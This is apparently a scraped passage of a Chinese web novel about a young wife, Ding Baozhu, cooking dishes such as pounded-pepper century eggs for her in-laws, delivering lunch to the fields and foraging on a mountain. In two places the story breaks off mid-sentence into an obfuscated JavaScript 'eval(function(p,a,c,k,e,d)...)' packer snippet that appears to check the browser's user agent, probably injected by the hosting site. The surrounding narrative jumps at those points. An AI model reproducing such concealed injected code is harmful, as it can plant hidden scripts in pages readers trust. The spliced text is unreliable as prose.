丁宝珠将那坛盖盖上,封紧了,做一道新吃食——玫瑰腐乳。 其实腐乳也只能算作小菜,但架不住它味道好,模样也漂亮,而且这么一坛子,都足够吃好几个月了。 筹备好腐乳,丁宝珠又把目光转移到了徐晔家原先就有的,那一小袋子的干豆子上。 也不知这豆子到底是何时留下来的,一颗颗干巴巴的,怕是都能去做饲料了。 既然徐家一直都没用,丁宝珠也不客气了,她准备把这袋豆子一分为二。 一半做成酱黄豆,一半试试看看能不能发出豆芽来。 但不管是要做什么,这些豆子总要先在水里多浸泡一会儿。 丁宝珠挑了些坏的瘪的豆子出来,泡上了,就拿了木盆出来一起洗衣物去。 要说没有现代科技,许多劳动力都成了真的辛苦活儿。 再加上村里穿衣裳,都是能穿多久就穿多久的,恨不得一件就能穿到老,那衣裳有时就变得发浆发硬,即便用水泡过也难搓。 李银屏在一旁看得直皱眉头,提醒道: “去拿杵来敲一敲,不然洗不干净的。” 丁宝珠取来杵捶捶打打一阵,这动作还格外考验臂力。 然而就在这时,家门又被打开了,进来的竟然是徐晔。 李银屏咦了一声,问道: “晔儿,你咋那么早就回来了?” 丁宝珠也感觉奇怪,这时候的田地里最要防虫害,就算家里地不大,也难免要父子俩一齐上阵才好。 这几日,他们都是待到傍晚才回来的。 那徐晔身上足足背着两个口袋,先是见两人之间没什么异样,才放下来道: “我们家地里有成熟的了,还有些是邻居送的,我就一并拿回来了。” 李银屏摇摇头: “那等你和你爹一起回来时再带不就行了?一来一去的,这不白跑么?” 徐晔向丁宝珠那瞥了一眼,才道: “没事,反正总要拿回来的,再说了,不是有人喜欢做吃食吗?瞧瞧有啥能拿来做的好了。” 李银屏自然听出来那言下之意,不知怎么好像感觉噎住了一下,随即就不出声了。 这小夫妻之间的事,她也操控不了。 丁宝珠听完后笑道: “好啊好啊,那我看看,要是方便了,中午我就给你和爹做好吃的。” “那我先走了,上午的活儿还没干完。” 徐晔来得快去得也快,就和现下这阵子熏风一般,倒有点潇洒。 丁宝珠洗完衣物在绳上晾晒后,就迫不及待地去打开袋子一见。 原来那两个袋子里,一个放着的是莴苣和苦瓜,这两个可是时令食材。 而另一个装着的则是落花生,上面还带着泥巴,瞧着像是刚挖的,还有几个青椒。 光是这几样食材,丁宝珠的脑里就立刻想出了一道道食谱来。 但其实她早就想好了中午要做啥,所以也只是把袋子先拖进了灶房里置好,唯独把那青椒给取了出来。 上一批成熟的菠菜也等着被料理了,丁宝珠给择了,又把那莴苣削皮切成细丝,苦瓜也取了两根切了。 李银屏在外头也晾好了衣物,展开的衣裳往地上滴滴答答流着水珠子,浸湿一片地面。 而等她进了灶房,却发现丁宝珠早已手脚麻利地把灶膛里的火给点好了。 甚至此时正在锅里煎着青椒,那热乎乎的空气里,夹杂着一丝辣辣的气息。 这么看来,丁宝珠的手脚还是很利落的,比同村里的某些懒散的儿媳妇,不知好了多少哩。 要说李银屏先前为啥那么讨厌丁宝珠,那主要还是因为,第二天她就偷偷摸摸去拿了那喜帕看,结果就一直怀疑她嫁过来前,就与人有染。 不然都定下了婚事,干嘛还要撞墙?不就是心虚反抗么? 可没想到,竟然是洞房夜那晚压根就没有圆房。 这可真是窝头翻个——现了大眼了! 无论后续还会如何发展,李银屏这次是真真切切地吃了大瘪,也捅了大篓子,所以到现在,总算是安分下来了。 而这一安分下来,她倏忽就觉得丁宝珠这个儿媳,总比村里那些个悍妇好得多。 不然她这婆母在丈夫儿子前犯了错没了脸,那脾气大一点的儿媳妇早就会反过来给自己找不自在,把之前的仇都给报了,哪里会像她这样那么大度,就和没事人一样。 可是丁宝珠以前的性子,谁家不清楚? 怕是比那些悍妇还火爆,能成为这样,说明她的天性的确是转变了。 不过李银屏也不是个傻的,她能感觉到丁宝珠依旧没有原谅她,也就是看在这个家的份上,没有拿乔而已,不禁觉得自己又是矮了一截子。 人心都是肉长的,她不敢再造次另提,现在更是不会再有什么怨言了。 她想到这,便嘱咐道: “儿媳妇,房里还有些咸蛋,你也烧了吧,解解暑。” “这时节一定要吃咸蛋,接下来就不会中暑了。” “知道了,姨母。” 丁宝珠应了声。 “你先去忙吧,午食等会就好。” 这次的咸蛋不是她去买的,而是李银屏去买的。 只是买的理由,是因为这里的习俗要吃而已。 不过咸蛋她仍旧可以做美味吃食,倒省得她再去跑一趟。 除了鸡子、咸蛋,还有丁宝珠去买的那些松花蛋。 她便用后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前到了时节,家里也会吃苦瓜,但是做出来总是比野菜还要苦,她和姐姐都不爱吃。 没想到这些换成大嫂做,不但不苦了,还有点香呢,太神奇了! 丁宝珠笑道: “这个倒也不算难,就把苦瓜里的白心子挖掉,用盐巴腌腌,再在水里漂几次就行了,要苦瓜不苦,那还得是之前用上一番力气咧。” 徐芝咀嚼着模糊道: “要是早这么做,我肯定一早就爱上吃苦瓜了。” 李银屏斜了她一眼,不悦道: “行了行了,吃还堵不上你的嘴!” 就在这时,那徐莹又吃了别的菜,忽然扁着嘴道: “哎呦,这个可真辣!娘,快帮我盛碗汤!” “你说你,从小就吃不得辣,那味道还闻不到,非要吃了才行?” 李银屏摇摇头,但还是给徐莹盛了碗菠菜汤去。 徐莹不好意思道: “还不是大嫂做菜一向好吃,我好奇那是啥味儿的嘛。” 而她们口中的主角,自然是那道擂椒皮蛋了。 松花蛋的颜色本就黑暗,还和青椒碎一起捣得细碎黏糊糊的,那样子简直算不上好看,还可以直说是不好看。 但是闻起来却是很香,而且也吃了丁宝珠做的很多吃食了,所以徐莹依然抱有期待,就尝了一口。 可惜她始终吃不得辣,但虽然被辣到了,可回味仍是十分香的,叫人忍不住还想要吃一口。 听了这话,李银屏也想吃了,她吃了一筷子,又吃了口饭,点点头道: “这菜还挺下饭的,没想到松花蛋竟然还有这种做法?” 丁宝珠笑道: “也是今天恰好有青椒,所以我试试做了,好吃就行!” 四人继而埋头吃了起来,都是可口的饭菜,要不是还得给徐翊徐晔送去,说不定她们就吃完了。 吃过饭,丁宝珠又找了两个盒子,还有一个小罐子,把饭菜汤都盛了进去。 在做苦瓜炒鸡子的时候,为了一家子人都够吃,她特意多打了几个鸡子,却没想到之后还剩下那么多,估计都是为了留个父子俩的。 打包好饭菜,丁宝珠又找了个筐子背上,和李银屏说了声,就出发去田地了。 92. 擂椒皮蛋(下) 来到田埂,远远便看到依旧有许多农人在勤恳劳作。 皆是上身穿着马甲背心,下身着短裤,饶是如此,也会时不时停下来,擦汗喝水。 徐晔也换了身更为轻便的,能下地的衣物,把袖口挽到了胳膊肘。 裤脚也折到小腿上,露出了精瘦的四肢,可还是能见到一些线条来的。 徐翊头上也包着条头巾,眼尖地见到丁宝珠慢慢往这来后,便对正在照顾着豆苗的徐晔喊道: “晔儿,你媳妇来了,快去迎迎。” “知道了,爹。” 徐晔说着,起身拍了拍手上的土,便径直往那儿去了。 丁宝珠见他过来,先是招了招手,再是笑吟吟地过来,说道: “饿了吧?我带饭菜来了,先找个位置,就可以吃了。” 又和徐翊集合后,后者把额上的那头巾摘下来,揩了揩汗后,笑道: “儿媳妇,你来了?之前那些东西,你收到了不?” “收到了,爹,我还用其中的做了吃食呢。” 丁宝珠说着,就把筐子拿下来,从里面取出饭盒和罐子。 “饭菜都在盒子里,另外还有汤,你们顺着下饭,我先走了。” 徐晔怔了怔,问道: “你这就走了?” 以前她过来送饭,要么是跟着一起吃,要么是再待上几刻钟,看看地里什么的,怎么今天这么急着要走? 丁宝珠笑道: “我今天想上山去呢,早去早回。” 徐翊看了眼徐晔,便道: “儿媳妇说得也不错,你先去吧,我们还有些要忙嘞!” 见丁宝珠真就走了,徐晔心里莫名有点失落,徐翊提醒道: “人都走了,你还看啥?还是赶紧吃饭吧!” 徐晔听后,只好耷拉着脑袋和徐翊去吃饭。 一开盒盖香气扑鼻,到底是忙了一上午,他只觉得肚子里立马打起了鼓,低头就吃了起来。 凉拌菜爽口,下饭菜香辣,室外本就热,这一吃又是流了不少汗。 徐晔随意擦擦,就舀了汤喝,接着又捣进了饭里接着吃。 对他们来讲,即便没有菜,饭却是一定管够的。 “徐叔,晔哥儿,你们吃得可真香啊!” 这时旁边有人过来说道。 徐晔一瞧,原来是袁聪和汪榆两人,便问道: “你们吃过了没?” “在吃着的,嘿嘿,就是没你们那么丰盛而已。” 袁聪说着,举了举自己手里的吃食。 乍一看灰溜溜的,大抵是饼子馒头什么的,汪榆的一定也是类似的。 徐晔顿了顿,默默把自己的饭盒往里藏了藏,直白说道: “我自己还不够吃呢,你们可别肖想我的。” 袁聪嘟着嘴故作不快道: “晔哥儿你咋那么小气?你忘了以前你吃的也和我们差不多吗?” “也就是你先娶了媳妇儿,才有好吃的呢,再说我和汪榆又没说要吃你的!” 徐晔听闻,又是一愣。 这倒是了,丁宝珠没进门前,他和爹中午,不也是吃着饼子过的? 就是进了山也照旧,可如今竟然饭菜汤一应俱全,还把他嘴也吃叼了。 他不禁感到心绪复杂——这算是件好事还是坏事? 徐翊打着圆场道: “你们别听他的,他这是守着自己媳妇做给他的哩。” “来来来,我这有剩余的,今儿这有个菜倒是挺下饭的,分你们一点,你们夹在饼子里吃吧。” 袁聪拉着汪榆笑眯眯道: “还是叔心疼我们,哼,咱们不和某人一般见识!” 而徐翊说的那个菜正是擂椒皮蛋,吃上一口就能下好几筷子的饭。 倒是饭吃完了,那菜却还剩下了,不吃也是浪费,还不如分给其他人。 再说现在,那袁聪和汪榆与他们也不算是普通关系。 经过后者们的不懈努力之下,徐翊终于同意他们也来学习打猎的请求。 这不今天上午,两人就各自带了一个袋子来,里面还装了作物,要送给徐家。 徐翊徐晔一开始不要,再三推辞,抵不过两人的热情,这才收下了。 苦瓜和青椒是袁聪送的,那些落花生是汪榆送的。 既然是来学艺,哪有不送点礼物给师父的,再加上家里长辈也是同意了。 但是在这点上,却也能看出些家庭情况来。 袁家有自己的地,所以还能种些时令菜,等到时候成熟了还能拿出去卖,可日子依旧过得紧巴巴的。 而汪榆家里就更困难了,连田地都是租来种的,所以地里种得最多的也是粮食。 就连这些落花生,原本也是想要卖去油坊的,可惜这次没人要卖不出去,不如做个顺水推舟的情意,也可以说是他先打起了想要学打猎的念头。 所以两人从家里出来下地干活,也都是只带几个粗面饼子馒头,来应付午食。 这回见到丁宝珠来送饭,徐家父子俩之后又吃得津津有味的,便上前来寒暄几句,却也有混上一口的心思。 最后还是大好人徐翊分了点擂椒皮蛋出去,都放在了袁聪与汪榆手中的饼子里。 夹紧了过后,他们咬了一大口吃起来,双眼当即一亮。 这也太好吃了吧! 嘴里的味道十分复杂,又咸又辣,可尝着尝着,却还有一丝开胃的酸意和鲜味。 每个味道好像都保持在了一个绝妙的平衡点上,连手里吃惯的粗面饼子,都仿佛成为了山珍海味一般。 不过这还得是因为他们家里穷,吃不起众多调味料,平常吃吃盐巴就够了。 就连入了夏,说是吃凉拌菜最好,可凉拌菜却最吃调味,所以最终还是吃没啥味道的煮菜和炒菜多。 要么,就是吃苦瓜青椒这种本身就有味道的蔬菜。 但是自打丁宝珠主厨后,对调料这一点就很重视,尤其是这道擂椒皮蛋,里面光是调料就不下四五种。 这么一拌,对于袁聪汪榆两人而言,当然是属于惊为天人了。 徐翊看着他们马上就大口大口又接着吃起来,呵呵笑道: “慢点吃,这还有点辣呢,当心呛着了。” “好吃……好吃……!” 汪榆大嚼着吃完饼子,又从怀里掏出另一个表皮已经发硬的出来,忸怩问道: “叔,你那啥酱料那么好吃?我能再吃一点不?” 擂椒皮蛋被碾得黏糊糊的,不仔细吃,还真以为是什么酱料。 徐翊笑道: “当然行,反正我们也差不多也吃饱了。” “你们今后还要常来,就不是陌生人了,有我们一口的,也能有你们一口。” 袁聪和汪榆一听,心里十分感动,连忙道谢。 那徐晔也吃完了饭,擦擦嘴后说道: “过段日子你们来我家,可以学着做工具了,毕竟也不能空着手去打猎。等过了这季,我们就能一起上山去了。” 两人又是忙着点头不止,当下的事就不再提。 且说丁宝珠在离开田地后,一路就上了象山。 这回她是准备去找一种全新的食材的,而这食材是种间接能做成美食的食材,还都长在树上。 只是那食材还没找到,丁宝珠却抬头见到了另一种应季食材。 正是那一串串洁白的槐花! 这就和她以前采摘的榆钱一样,是能吃的植物,虽说做法都相差无几,可那香味与口感却是不同的,丁宝珠立刻就爬树去摘。 不过她只摘了小半筐就结束,毕竟以后还能再来摘,可这槐花不是她今日的目标。 而她的目标,应该还要再深处些。 丁宝珠到底不熟悉这山里的路,所以只能接着转悠。 但若是她让徐晔领她,后者反而不知她要找的是何物,家里田间眼下也忙,所以她还是决定自己走。 虽然还没有找到那东西,在路上她却寻到了不少额外的。 比如说她不久后,在一片地上发现了一丛一丛的,某种紫红色的果实。 这种野果也是山上常见的,可这果实却让丁宝珠乐不可支起来——原来那竟是桑葚。 比起那密花果和馒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,没啥。就是看你今天没出摊,所以问问,你下次啥时候出摊啊?” 丁宝珠的直觉令她觉得,这妇人脸上的笑稍许不怀好意,便没有多讲,只是道: “做好吃食,自然就拿出去卖了——时辰不早了,我得先走了。” 那妇人仅应了一句,丁宝珠就离开了这。 而后者一转过身,前者果然眯起了眼,把嘴巴抿得紧紧的,面色不善起来。 原来好巧不巧,这妇人,竟然是那另一个卖凉糕的摊主的媳妇。 她刚开始见到丁宝珠时,不过是有些眼熟,后来才确定,她确实是村外道儿的那位凉糕娘子! 自从她开始卖凉糕,起初生意看着就不错的样子,所以她家男人就也想着做这笔生意,把家里部分钱都拿来去买了食材。 谁能料到丁宝珠始终压他一头,好几次那做好的吃食,最后还砸在了自己的手里。 妇人本来也劝了他放弃,可那摊主却是个脾气犟的,九头牛拉不动,偏偏还在这点上钻起了牛角尖。 于是寒食就去卖艾草团子,有时还卖棉花糕、方糕之类的点心,可那生意,一直都比不过丁宝珠的摊子。 别说是赚钱了,不赔钱就算好的了,也就是丁宝珠有几日没在那道儿上摆摊,才能挣上那么一点。 害得她照旧要上山来采集食物,家里的男人也天天在家里抱怨,当初自己怎么没有抢先一步做上那生意,不然肯定不会被一个年轻娘子压住。 而妇人也再劝过,却换来一阵骂语,有时候还动上了手。 她心里憋着气直至现在,这番见到丁宝珠,当然是觉得忿忿不平了。 所以她方才还不动声色地悄悄去看了她的筐子,里面的东西,后者一定会拿来做吃食再摆摊去卖。 要是他们提前做了,这回不就可以抢先一步了? 如此想着,那妇人便拿着篮子,急匆匆地往山下而去。